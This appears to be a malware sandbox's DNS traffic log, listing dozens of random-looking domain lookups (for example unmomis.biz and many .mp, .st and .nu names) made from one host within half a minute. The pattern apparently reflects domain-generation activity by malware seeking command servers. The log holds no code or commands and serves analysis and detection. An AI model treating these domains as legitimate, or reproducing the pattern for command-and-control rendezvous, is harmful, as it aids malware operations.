Sep 7, 2024 15:31:58.389425993 CEST	192.168.2.7	1.1.1.1	0x513f	Standard query (0)	uzgazuzotyo.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:58.489811897 CEST	192.168.2.7	1.1.1.1	0xae68	Standard query (0)	szmyagiieis.vg	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:58.631030083 CEST	192.168.2.7	1.1.1.1	0x9e65	Standard query (0)	ayqcc.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:58.882858038 CEST	192.168.2.7	1.1.1.1	0x7f5	Standard query (0)	ayqcc.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:59.817960978 CEST	192.168.2.7	1.1.1.1	0x8784	Standard query (0)	zuqpwsaissoqa.museum	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:59.844039917 CEST	192.168.2.7	1.1.1.1	0x1b83	Standard query (0)	zuqpwsaissoqa.museum	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:31:59.958535910 CEST	192.168.2.7	1.1.1.1	0x7bed	Standard query (0)	jarceuu.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:00.902906895 CEST	192.168.2.7	1.1.1.1	0x5e23	Standard query (0)	jarceuu.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:01.104099035 CEST	192.168.2.7	1.1.1.1	0x7440	Standard query (0)	ljgys.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:01.211582899 CEST	192.168.2.7	1.1.1.1	0xbad2	Standard query (0)	ljgys.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:01.317972898 CEST	192.168.2.7	1.1.1.1	0x470a	Standard query (0)	akejcaowrikmu.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:01.434237003 CEST	192.168.2.7	1.1.1.1	0x7401	Standard query (0)	akejcaowrikmu.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:01.777892113 CEST	192.168.2.7	1.1.1.1	0xa84b	Standard query (0)	ylkzowi.nu	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:01.820975065 CEST	192.168.2.7	1.1.1.1	0x5e2	Standard query (0)	ylkzowi.nu	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:01.931588888 CEST	192.168.2.7	1.1.1.1	0xd89	Standard query (0)	sdzggd.nu	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:01.946646929 CEST	192.168.2.7	1.1.1.1	0xa91	Standard query (0)	sdzggd.nu	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:02.064269066 CEST	192.168.2.7	1.1.1.1	0x753d	Standard query (0)	xemcwcmuiyek.vg	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:02.178103924 CEST	192.168.2.7	1.1.1.1	0x2df9	Standard query (0)	xaicicowq.vg	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:02.302717924 CEST	192.168.2.7	1.1.1.1	0x7000	Standard query (0)	efolcxk.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:02.552877903 CEST	192.168.2.7	1.1.1.1	0xbe64	Standard query (0)	efolcxk.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:02.882608891 CEST	192.168.2.7	1.1.1.1	0xe443	Standard query (0)	zlucrdfbbzewdw.tk	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:03.058320045 CEST	192.168.2.7	1.1.1.1	0xf3f1	Standard query (0)	zlucrdfbbzewdw.tk	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:03.318377972 CEST	192.168.2.7	1.1.1.1	0x1e32	Standard query (0)	pagekgd.tk	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:03.485548019 CEST	192.168.2.7	1.1.1.1	0xbca1	Standard query (0)	pagekgd.tk	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:03.852041960 CEST	192.168.2.7	1.1.1.1	0x4d42	Standard query (0)	mpiuirgjgevqx.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:03.899276018 CEST	192.168.2.7	1.1.1.1	0x4ac4	Standard query (0)	mpiuirgjgevqx.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:04.021908998 CEST	192.168.2.7	1.1.1.1	0xcfcb	Standard query (0)	qrolyncbcne.nu	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:04.036478043 CEST	192.168.2.7	1.1.1.1	0x77ba	Standard query (0)	qrolyncbcne.nu	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:04.130786896 CEST	192.168.2.7	1.1.1.1	0x42c9	Standard query (0)	kmtqnmaydjg.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:04.376732111 CEST	192.168.2.7	1.1.1.1	0x20bb	Standard query (0)	kmtqnmaydjg.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:04.708638906 CEST	192.168.2.7	1.1.1.1	0xc555	Standard query (0)	hxnckezhossa.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:04.810503960 CEST	192.168.2.7	1.1.1.1	0x3811	Standard query (0)	hxnckezhossa.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:04.911720991 CEST	192.168.2.7	1.1.1.1	0xc56c	Standard query (0)	tcmmfrsiy.vg	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:04.936018944 CEST	192.168.2.7	1.1.1.1	0x3514	Standard query (0)	unmomis.biz	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:04.958426952 CEST	192.168.2.7	1.1.1.1	0xe8de	Standard query (0)	unmomis.biz	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:05.053081036 CEST	192.168.2.7	1.1.1.1	0xee91	Standard query (0)	zzsqd.pw	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:05.077233076 CEST	192.168.2.7	1.1.1.1	0x9b88	Standard query (0)	zzsqd.pw	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:05.179348946 CEST	192.168.2.7	1.1.1.1	0xfd64	Standard query (0)	shnaw.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:05.234781027 CEST	192.168.2.7	1.1.1.1	0x76d6	Standard query (0)	shnaw.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:05.349303961 CEST	192.168.2.7	1.1.1.1	0xc0b1	Standard query (0)	atsedkagi.nu	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:05.363590956 CEST	192.168.2.7	1.1.1.1	0x6d65	Standard query (0)	atsedkagi.nu	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:05.458648920 CEST	192.168.2.7	1.1.1.1	0x3605	Standard query (0)	qoqyiwfwz.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:05.564562082 CEST	192.168.2.7	1.1.1.1	0x4bfd	Standard query (0)	qoqyiwfwz.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:05.898689985 CEST	192.168.2.7	1.1.1.1	0xa6bb	Standard query (0)	frseecqarb.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:06.143187046 CEST	192.168.2.7	1.1.1.1	0xeb6b	Standard query (0)	frseecqarb.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:06.333518028 CEST	192.168.2.7	1.1.1.1	0x42b5	Standard query (0)	aogmlobkrhuib.vg	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:06.458579063 CEST	192.168.2.7	1.1.1.1	0x1801	Standard query (0)	yjakakyfs.nu	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:06.471499920 CEST	192.168.2.7	1.1.1.1	0x9308	Standard query (0)	yjakakyfs.nu	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:06.568011045 CEST	192.168.2.7	1.1.1.1	0x2c28	Standard query (0)	rsomhsdkimmjbe.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:06.609261036 CEST	192.168.2.7	1.1.1.1	0x6b38	Standard query (0)	rsomhsdkimmjbe.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:06.724244118 CEST	192.168.2.7	1.1.1.1	0x9ab3	Standard query (0)	amuyqogtwaf.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:06.829091072 CEST	192.168.2.7	1.1.1.1	0xe2ee	Standard query (0)	amuyqogtwaf.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:07.021059990 CEST	192.168.2.7	1.1.1.1	0xf264	Standard query (0)	uupadxmfeug.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:07.302297115 CEST	192.168.2.7	1.1.1.1	0xf264	Standard query (0)	uupadxmfeug.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:07.879513979 CEST	192.168.2.7	1.1.1.1	0x88ba	Standard query (0)	uupadxmfeug.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:08.069860935 CEST	192.168.2.7	1.1.1.1	0xaf2c	Standard query (0)	kmicexyr.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:08.107822895 CEST	192.168.2.7	1.1.1.1	0x9aac	Standard query (0)	kmicexyr.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:08.242364883 CEST	192.168.2.7	1.1.1.1	0x5b78	Standard query (0)	oogfzxcq.nu	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:08.280904055 CEST	192.168.2.7	1.1.1.1	0x947d	Standard query (0)	oogfzxcq.nu	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:08.381234884 CEST	192.168.2.7	1.1.1.1	0x6588	Standard query (0)	etcsukiwxdt.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:08.421967983 CEST	192.168.2.7	1.1.1.1	0xa727	Standard query (0)	etcsukiwxdt.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:08.536567926 CEST	192.168.2.7	1.1.1.1	0x866f	Standard query (0)	esiqooistio.vg	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:08.679310083 CEST	192.168.2.7	1.1.1.1	0x2fd9	Standard query (0)	skvramqimqumui.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:08.957395077 CEST	192.168.2.7	1.1.1.1	0xd96c	Standard query (0)	skvramqimqumui.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:09.224832058 CEST	192.168.2.7	1.1.1.1	0xd96c	Standard query (0)	skvramqimqumui.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:09.324887991 CEST	192.168.2.7	1.1.1.1	0xa7ed	Standard query (0)	otsafym.nu	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:09.353442907 CEST	192.168.2.7	1.1.1.1	0x9abe	Standard query (0)	otsafym.nu	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:09.491209030 CEST	192.168.2.7	1.1.1.1	0x31c1	Standard query (0)	xioywow.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:09.752818108 CEST	192.168.2.7	1.1.1.1	0x1c94	Standard query (0)	xioywow.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:10.086380959 CEST	192.168.2.7	1.1.1.1	0x7e9f	Standard query (0)	pbauwvnqjx.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:10.370208979 CEST	192.168.2.7	1.1.1.1	0x7e9f	Standard query (0)	pbauwvnqjx.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:10.435045004 CEST	192.168.2.7	1.1.1.1	0x6061	Standard query (0)	pbauwvnqjx.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:10.615710020 CEST	192.168.2.7	1.1.1.1	0x976c	Standard query (0)	qkbbuslb.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:10.655101061 CEST	192.168.2.7	1.1.1.1	0x9cda	Standard query (0)	qkbbuslb.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:10.775405884 CEST	192.168.2.7	1.1.1.1	0xded7	Standard query (0)	ygzkiqfepypu.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:10.882704020 CEST	192.168.2.7	1.1.1.1	0x5d6d	Standard query (0)	ygzkiqfepypu.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:11.209029913 CEST	192.168.2.7	1.1.1.1	0xf59	Standard query (0)	gxgwclvdoiu.nu	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:11.227902889 CEST	192.168.2.7	1.1.1.1	0xdd0	Standard query (0)	gxgwclvdoiu.nu	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:11.338505983 CEST	192.168.2.7	1.1.1.1	0xfa5f	Standard query (0)	wscucewivw.pw	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:11.362579107 CEST	192.168.2.7	1.1.1.1	0x2fd3	Standard query (0)	wscucewivw.pw	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:11.461575031 CEST	192.168.2.7	1.1.1.1	0x61fe	Standard query (0)	ymhkiogycuk.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:11.567387104 CEST	192.168.2.7	1.1.1.1	0x46c8	Standard query (0)	ymhkiogycuk.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:11.757838011 CEST	192.168.2.7	1.1.1.1	0x5b52	Standard query (0)	mecaqeuikgqb.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:11.858477116 CEST	192.168.2.7	1.1.1.1	0x68	Standard query (0)	mecaqeuikgqb.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:12.177642107 CEST	192.168.2.7	1.1.1.1	0x7e33	Standard query (0)	kmewiipsrvgjfl.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:12.277285099 CEST	192.168.2.7	1.1.1.1	0xdcf3	Standard query (0)	kmewiipsrvgjfl.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:12.553266048 CEST	192.168.2.7	1.1.1.1	0xdcf3	Standard query (0)	kmewiipsrvgjfl.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:13.194745064 CEST	192.168.2.7	1.1.1.1	0xbce1	Standard query (0)	peogwkjqii.museum	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:13.212872028 CEST	192.168.2.7	1.1.1.1	0xb6c3	Standard query (0)	peogwkjqii.museum	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:13.302428961 CEST	192.168.2.7	1.1.1.1	0xef3e	Standard query (0)	xgotixwyk.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:13.340224028 CEST	192.168.2.7	1.1.1.1	0x3aec	Standard query (0)	xgotixwyk.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:13.614662886 CEST	192.168.2.7	1.1.1.1	0x3aec	Standard query (0)	xgotixwyk.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:13.693217039 CEST	192.168.2.7	1.1.1.1	0xfd8	Standard query (0)	iutseaqobugnc.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:13.938810110 CEST	192.168.2.7	1.1.1.1	0xff97	Standard query (0)	iutseaqobugnc.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:14.131675005 CEST	192.168.2.7	1.1.1.1	0xf769	Standard query (0)	eywpeln.nu	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:14.152679920 CEST	192.168.2.7	1.1.1.1	0xa298	Standard query (0)	eywpeln.nu	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:14.320555925 CEST	192.168.2.7	1.1.1.1	0x4d78	Standard query (0)	gudjrnqeeeg.vg	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:14.360402107 CEST	192.168.2.7	1.1.1.1	0xfe08	Standard query (0)	unmomis.biz	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:14.375790119 CEST	192.168.2.7	1.1.1.1	0x5413	Standard query (0)	unmomis.biz	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:14.478463888 CEST	192.168.2.7	1.1.1.1	0x81ec	Standard query (0)	yiiotaq.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:14.755181074 CEST	192.168.2.7	1.1.1.1	0x81ec	Standard query (0)	yiiotaq.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:14.767309904 CEST	192.168.2.7	1.1.1.1	0x2192	Standard query (0)	yiiotaq.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:14.896675110 CEST	192.168.2.7	1.1.1.1	0x26e2	Standard query (0)	iokpgeqqqg.pw	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:14.919064999 CEST	192.168.2.7	1.1.1.1	0xa154	Standard query (0)	iokpgeqqqg.pw	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:15.007492065 CEST	192.168.2.7	1.1.1.1	0x6aa6	Standard query (0)	swnalczejnim.vg	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:15.149096012 CEST	192.168.2.7	1.1.1.1	0x6f59	Standard query (0)	gyuctmnqodcuxr.museum	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:15.187988997 CEST	192.168.2.7	1.1.1.1	0xc3a9	Standard query (0)	gyuctmnqodcuxr.museum	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:15.458436966 CEST	192.168.2.7	1.1.1.1	0xc3a9	Standard query (0)	gyuctmnqodcuxr.museum	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:15.631736994 CEST	192.168.2.7	1.1.1.1	0x5003	Standard query (0)	entwowfsvqchd.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:15.911326885 CEST	192.168.2.7	1.1.1.1	0x5003	Standard query (0)	entwowfsvqchd.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:16.647557020 CEST	192.168.2.7	1.1.1.1	0x32a	Standard query (0)	entwowfsvqchd.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:16.927582979 CEST	192.168.2.7	1.1.1.1	0x32a	Standard query (0)	entwowfsvqchd.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:17.989747047 CEST	192.168.2.7	1.1.1.1	0x6530	Standard query (0)	scmkkkslv.vg	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:18.099421978 CEST	192.168.2.7	1.1.1.1	0x2bc8	Standard query (0)	kigyaiv.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:18.345865011 CEST	192.168.2.7	1.1.1.1	0x36b2	Standard query (0)	kigyaiv.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:18.615101099 CEST	192.168.2.7	1.1.1.1	0x36b2	Standard query (0)	kigyaiv.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:19.275636911 CEST	192.168.2.7	1.1.1.1	0x7980	Standard query (0)	oqkfrftagqq.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:19.552567959 CEST	192.168.2.7	1.1.1.1	0x7980	Standard query (0)	oqkfrftagqq.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:20.301403999 CEST	192.168.2.7	1.1.1.1	0xd437	Standard query (0)	oqkfrftagqq.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:20.507289886 CEST	192.168.2.7	1.1.1.1	0x16	Standard query (0)	upvkkseok.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:20.784843922 CEST	192.168.2.7	1.1.1.1	0xbef1	Standard query (0)	upvkkseok.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:20.896138906 CEST	192.168.2.7	1.1.1.1	0x17be	Standard query (0)	amumxig.tk	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:21.150454044 CEST	192.168.2.7	1.1.1.1	0x2e88	Standard query (0)	amumxig.tk	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:21.396418095 CEST	192.168.2.7	1.1.1.1	0x348d	Standard query (0)	nwkget.nu	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:21.412496090 CEST	192.168.2.7	1.1.1.1	0x6f1	Standard query (0)	nwkget.nu	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:21.505464077 CEST	192.168.2.7	1.1.1.1	0x7bb7	Standard query (0)	ytaygkyiuekog.nu	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:21.524616003 CEST	192.168.2.7	1.1.1.1	0xeb0a	Standard query (0)	ytaygkyiuekog.nu	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:21.648669958 CEST	192.168.2.7	1.1.1.1	0x1404	Standard query (0)	eoxiwmcl.vg	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:21.683273077 CEST	192.168.2.7	1.1.1.1	0x42d	Standard query (0)	unmomis.biz	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:21.718945026 CEST	192.168.2.7	1.1.1.1	0x3869	Standard query (0)	unmomis.biz	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:21.818273067 CEST	192.168.2.7	1.1.1.1	0xeb8a	Standard query (0)	mirazghiwzheu.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:21.925714016 CEST	192.168.2.7	1.1.1.1	0x2b9e	Standard query (0)	mirazghiwzheu.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:22.115148067 CEST	192.168.2.7	1.1.1.1	0x3288	Standard query (0)	ichiqobl.ws	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:22.255650997 CEST	192.168.2.7	1.1.1.1	0x571e	Standard query (0)	tururiw.museum	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:22.268322945 CEST	192.168.2.7	1.1.1.1	0xfd06	Standard query (0)	tururiw.museum	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:22.364945889 CEST	192.168.2.7	1.1.1.1	0x553b	Standard query (0)	kbflj.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:22.649514914 CEST	192.168.2.7	1.1.1.1	0x553b	Standard query (0)	kbflj.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:22.926279068 CEST	192.168.2.7	1.1.1.1	0xe107	Standard query (0)	kbflj.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:23.038304090 CEST	192.168.2.7	1.1.1.1	0xd325	Standard query (0)	yriaocg.tk	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:23.215161085 CEST	192.168.2.7	1.1.1.1	0xd601	Standard query (0)	yriaocg.tk	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:23.479269981 CEST	192.168.2.7	1.1.1.1	0x3faa	Standard query (0)	wswdpayykae.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:23.726243019 CEST	192.168.2.7	1.1.1.1	0x9693	Standard query (0)	wswdpayykae.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:23.990509033 CEST	192.168.2.7	1.1.1.1	0x27a0	Standard query (0)	kqspurevcafdh.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:24.238980055 CEST	192.168.2.7	1.1.1.1	0x14bb	Standard query (0)	kqspurevcafdh.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:24.425128937 CEST	192.168.2.7	1.1.1.1	0xf30a	Standard query (0)	cpsukke.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:24.693325043 CEST	192.168.2.7	1.1.1.1	0xf30a	Standard query (0)	cpsukke.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:24.761307955 CEST	192.168.2.7	1.1.1.1	0x6b39	Standard query (0)	cpsukke.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:25.036381960 CEST	192.168.2.7	1.1.1.1	0x6b39	Standard query (0)	cpsukke.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:25.115422010 CEST	192.168.2.7	1.1.1.1	0x32ec	Standard query (0)	kuwovhxyeqlit.nu	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:25.131516933 CEST	192.168.2.7	1.1.1.1	0x943	Standard query (0)	kuwovhxyeqlit.nu	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:25.240705967 CEST	192.168.2.7	1.1.1.1	0xe976	Standard query (0)	kwcuuglkq.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:25.288780928 CEST	192.168.2.7	1.1.1.1	0x4542	Standard query (0)	kwcuuglkq.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:25.396332979 CEST	192.168.2.7	1.1.1.1	0xfb43	Standard query (0)	ylaqpebuwzms.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:25.635986090 CEST	192.168.2.7	1.1.1.1	0xbabd	Standard query (0)	ylaqpebuwzms.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:25.958703041 CEST	192.168.2.7	1.1.1.1	0x8210	Standard query (0)	qwaoq.nu	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:25.988255978 CEST	192.168.2.7	1.1.1.1	0xe93b	Standard query (0)	qwaoq.nu	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:26.072839022 CEST	192.168.2.7	1.1.1.1	0xb0f6	Standard query (0)	lkaqbviwa.nu	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:26.129807949 CEST	192.168.2.7	1.1.1.1	0x7742	Standard query (0)	lkaqbviwa.nu	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:26.211888075 CEST	192.168.2.7	1.1.1.1	0x9eb9	Standard query (0)	qaxqissemas.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:26.252559900 CEST	192.168.2.7	1.1.1.1	0x2c66	Standard query (0)	qaxqissemas.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:26.533201933 CEST	192.168.2.7	1.1.1.1	0x2c66	Standard query (0)	qaxqissemas.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:26.614957094 CEST	192.168.2.7	1.1.1.1	0xb334	Standard query (0)	wuzsnuxgqwgsfq.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:26.652368069 CEST	192.168.2.7	1.1.1.1	0x3d9d	Standard query (0)	wuzsnuxgqwgsfq.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:26.755645990 CEST	192.168.2.7	1.1.1.1	0xcbf8	Standard query (0)	aaajkieirqn.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:26.877341032 CEST	192.168.2.7	1.1.1.1	0xea58	Standard query (0)	aaajkieirqn.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:27.053253889 CEST	192.168.2.7	1.1.1.1	0xa22e	Standard query (0)	gkewcyrniuqqg.vg	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:27.082576036 CEST	192.168.2.7	1.1.1.1	0x2878	Standard query (0)	unmomis.biz	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:27.093746901 CEST	192.168.2.7	1.1.1.1	0x8213	Standard query (0)	unmomis.biz	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:27.178817034 CEST	192.168.2.7	1.1.1.1	0x3b9	Standard query (0)	mcsme.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:27.420795918 CEST	192.168.2.7	1.1.1.1	0x8590	Standard query (0)	mcsme.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:27.585032940 CEST	192.168.2.7	1.1.1.1	0xac9a	Standard query (0)	lszuguwegape.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:27.867460012 CEST	192.168.2.7	1.1.1.1	0xac9a	Standard query (0)	lszuguwegape.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:27.937968969 CEST	192.168.2.7	1.1.1.1	0x8e1e	Standard query (0)	lszuguwegape.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:28.114949942 CEST	192.168.2.7	1.1.1.1	0xf450	Standard query (0)	gmacgsmzs.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:28.150850058 CEST	192.168.2.7	1.1.1.1	0x571f	Standard query (0)	gmacgsmzs.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:28.259253025 CEST	192.168.2.7	1.1.1.1	0xd059	Standard query (0)	legxqqa.vg	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:28.366472960 CEST	192.168.2.7	1.1.1.1	0xc3a0	Standard query (0)	eychnhikayq.tk	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:28.535581112 CEST	192.168.2.7	1.1.1.1	0x2e5c	Standard query (0)	eychnhikayq.tk	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:28.865052938 CEST	192.168.2.7	1.1.1.1	0x29f	Standard query (0)	cshsxz.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:32:29.145684004 CEST	192.168.2.7	1.1.1.1	0x29f	Standard query (0)	cshsxz.st	A (IP address)	IN (0x0001)	false
